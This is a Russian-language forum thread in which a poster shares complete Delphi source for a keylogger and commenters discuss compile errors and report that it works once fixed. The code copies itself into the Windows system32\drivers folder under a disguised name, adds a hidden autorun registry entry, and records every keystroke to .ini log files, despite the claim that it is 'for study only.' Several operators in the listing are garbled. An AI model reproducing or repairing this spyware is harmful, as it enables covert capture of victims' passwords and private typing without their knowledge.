Клавиатурный шпион

Вот исходничек простенького клавиатурника можете делать с ним что хотите, главное не зазнавайтесь! К основным его преемуществам могу отнести то что он очень мал для проги такого класса (19кб),что кстати ломает убеждение о грамоздкости Делфи прог, и занимает мало места в оперативке (обычно 1-1,5мб)!

Программа абсолютно безопастная и предназдначенна только для изучения!

Вот код:

program ntrty;
// KBS ver. 1.0
//
// Клавиатурный шпион, DE@l Group (c) 2005-2007;
// При первом запуске проги происходит самокопирование
// программы в путь dir с именем name! И прописывание
// в автозагрузку той копии проги!
// Про запуске проги через автозапуск прога кидает
// файлу в путь: %USERPROFILE% с именами name+номер+ext
// при каждом запуске создаётся файл со следующим по
// порядку номером, а при достижении файла размера в
// MaxFileSize создаётся следующий файл!
// При запуске проги в ручную файл с отчётом
// создаётся в каталоге с прогой!
// 13.04.2007 (пятница)
uses Windows;

const
  dir = 'C:\WINDOWS\system32\drivers\';
  name = 'ntrty';
  ext = '.ini';
  ARCStr = 'cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ';
  MaxFileSize = 2048;
var
  HkHnd : hHook;
  FCh : file of Char;
  line : longint;
  hApp : THandle;
  wClass : TWndClass;
  wMSG : TMSG;

function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer;
            ICON: hIcon; CURSOR: hCursor; Background: HBrush;
            ClassName,MenuName: string; Proc: Pointer): TWndClass;
  var
    wCls : TWNDClass;
begin
  wCls.hInstance:=hInstance;
  wCls.style:= style;
  with wCls do
    begin
      hIcon := ICON;
      lpfnWndProc := Proc;
      hbrBackground := Background;
      lpszClassName := PChar(ClassName);
      hCursor := CURSOR;
      cbClsExtra := ClsExtra;
      cbWndExtra := WndExtra;
      lpszMenuName := PChar(MenuName);
    end;
  Result:=wCls;
end;

function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND;
begin
  Result:=CreateWindow(wClass.lpszClassName,
  PChar(Caption),(0 or $C00000 or $800000 or
  $400000 or $200000 or $100000 or $10000000),
  Integer(DWORD($80000000)),Integer(DWORD($80000000)),
  w, h, 0, 0, hInstance, nil);
end;

procedure lpWindow(Msg: TMsg);
begin
  while GetMessage(Msg,0,0,0) do
    begin
      TranslateMessage(Msg);
      DispatchMessage(Msg);
    end;
end;

function IntToStr(Int: integer): string;
begin
  Str(Int, result);
end;

function FileExists(const FileName : String) : Boolean;
var
  Code : Integer;
begin
  Code := GetFileAttributes(PChar(FileName));
  Result := (Code -1) and (16 and Code = 0);
end;

function GetName: string;
var
  i : longint;
begin
  i:=0;
  repeat
    Inc(i);
  until not FileExists(name+IntToStr(i)+ext);
  Result:=name+IntToStr(i)+ext;
end;

function Win32Check(RetVal: BOOL): BOOL;
begin
  if not RetVal then GetLastError;
  Result := RetVal;
end;

function GetCharFromVKey(vkey: Word): string;
var
  keyst : TKeyboardState;
  retcode : Integer;
begin
  Win32Check(GetKeyboardState(keyst));
  SetLength(Result, 2);
  retcode := ToAscii(vkey,
  MapVirtualKeyA(vkey, 0),
  keyst, @Result[1],0);
  case retcode of
    0: Result := ";
    1: SetLength(Result, 1);
    2: ;
  else
  Result := ";
  end;
end;

function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
  msg : PEVENTMSG;
  b : Char;
  s : string;
begin
  if Code >= 0 then
    begin
      msg := Pointer(LParam);
      if msg.message=256 then
        begin
          Inc(line);
          s:=GetCharFromVKey(msg.paramL);
          if Length(s)>0 then
            begin
              b:=s[1];
              if (line mod 80)=0 then BlockWrite(FCh,#10#13,2);
              BlockWrite(FCh,b,1);
            end;
        end;
        if FileSize(FCh)>MaxFileSize then
          begin
            CloseFile(FCh);
            AssignFile(FCh,GetName);
            ReWrite(FCh)
          end;
        result := CallNextHookEx(HkHnd, code, WParam, LParam);
    end;
end;

function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
begin
  case Msg of
    1:
      begin
        if not FileExists(dir+name+'.exe') then
          begin
            Copyfile(PChar(paramstr(0)),dir+name+'.exe',BOOL(0));
            WinExec(dir+name+'.exe',SW_Hide);
            halt(0);
          end;
        WinExec(PChar(ARCStr+name+' /t REG_SZ /d '+dir+name+'.exe /f'),SW_Hide);
        line:=0;
        AssignFile(FCh,GetName);
        ReWrite(FCh);
        repeat
          HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
        until HkHnd0;
      end;
    2:
      begin
        if HkHnd 0 then
          UnhookWindowsHookEx(HkHnd);
        CloseFile(FCh);
        halt(0);
      end;
  end;
  Result := DefWindowProc(hWnd,Msg,wParam,lParam);
end;

begin
  wClass:=WC(hInstance,0,0,0,0,0,15,'MYCLASS',",@WndMessageProc);
  RegisterClass(wClass);
  hApp:=CreateWindow(wClass.lpszClassName, ",0,
  Integer(DWORD($80000000)),
  Integer(DWORD($80000000)),
  0, 0, 0, 0, hInstance, nil);
  if hApp=0 then
    begin
      UnregisterClass('MYCLASS',hInstance);
      halt(0);
    end;
  lpWindow(wMsg);
end.

Этот код просто необходимо сохранить в текстовом файле с расширением .dpr и открыть в Делфи!

1.

98K

06 октября 2016 года

Olga Doroshkevich

0 / / 06.10.2016

9 января 2017, 15:46:59

[Warning] klaviatur.dpr(34): Unsafe type 'Pointer'
[Warning] klaviatur.dpr(43): Unsafe type 'lpfnWndProc: Pointer'
[Warning] klaviatur.dpr(43): Unsafe type 'Proc: Pointer'
[Warning] klaviatur.dpr(45): Unsafe type 'lpszClassName: PAnsiChar'
[Warning] klaviatur.dpr(45): Unsafe type 'PChar'
[Warning] klaviatur.dpr(49): Unsafe type 'lpszMenuName: PAnsiChar'
[Warning] klaviatur.dpr(49): Unsafe type 'PChar'
[Warning] klaviatur.dpr(56): Unsafe type 'lpszClassName: PAnsiChar'
[Warning] klaviatur.dpr(57): Unsafe type 'PChar'
[Warning] klaviatur.dpr(81): Unsafe type 'PChar'
[Error] klaviatur.dpr(82): Operator not applicable to this operand type
[Warning] klaviatur.dpr(111): Unsafe code '@ operator'
[Error] klaviatur.dpr(113): Illegal character in input file: '"' ($22)
[Error] klaviatur.dpr(117): Illegal character in input file: '"' ($22)
[Warning] klaviatur.dpr(129): Unsafe type 'Pointer'
[Warning] klaviatur.dpr(137): Unsafe code 'BlockWrite'
[Warning] klaviatur.dpr(138): Unsafe code 'BlockWrite'
[Warning] klaviatur.dpr(141): Unsafe type 'FCh: file of Char'
[Warning] klaviatur.dpr(143): Unsafe type 'FCh: file of Char'
[Warning] klaviatur.dpr(144): Unsafe type 'FCh: file of Char'
[Warning] klaviatur.dpr(145): Unsafe type 'FCh: file of Char'
[Warning] klaviatur.dpr(158): Unsafe type 'PChar'
[Warning] klaviatur.dpr(162): Unsafe type 'PChar'
[Warning] klaviatur.dpr(164): Unsafe type 'FCh: file of Char'
[Warning] klaviatur.dpr(165): Unsafe type 'FCh: file of Char'
[Warning] klaviatur.dpr(167): Unsafe code '@ operator'
[Error] klaviatur.dpr(168): Undeclared identifier: 'HkHnd0'
[Error] klaviatur.dpr(172): Missing operator or semicolon
[Warning] klaviatur.dpr(174): Unsafe type 'FCh: file of Char'
[Error] klaviatur.dpr(182): Illegal character in input file: '"' ($22)
[Error] klaviatur.dpr(182): Not enough actual parameters
[Warning] klaviatur.dpr(184): Unsafe type 'lpszClassName: PAnsiChar'
[Error] klaviatur.dpr(184): Illegal character in input file: '"' ($22)
[Error] klaviatur.dpr(185): Constant expression violates subrange bounds
[Error] klaviatur.dpr(187): Incompatible types: 'Cardinal' and 'Pointer'

2.

47K

13 января 2009 года

av_chaly

0 / / 13.01.2009

+2 / -0

13 января 2009, 21:24:07

Спасибо ! Очень помогло !

>1) Есть ошибки в коде, так что "скопировать и вставить" не сработает.
Ошибки на уровна синтаксиса, так что не страшно ;)

>2) Действительно отлавливает нажатые клавиши, но пишет их в файл по нескольку раз. В причинах сего глюка не разбирался.
Не знаю. После отладки того ж таки синтаксиса всё работает "на ура". Убрал только 2 строчки кода.

3.

261

03 ноября 2005 года

ahilles

1.5K / / 03.11.2005

+1 / -0

17 января 2008, 18:45:25

>1) Есть ошибки в коде, так что "скопировать и вставить" не сработает.
это так называемая защита от чайников.

4.

2.8K

25 марта 2003 года

Leon_O

5 / / 25.03.2003

13 декабря 2007, 10:58:46

1) Есть ошибки в коде, так что "скопировать и вставить" не сработает.
2) Действительно отлавливает нажатые клавиши, но пишет их в файл по нескольку раз. В причинах сего глюка не разбирался.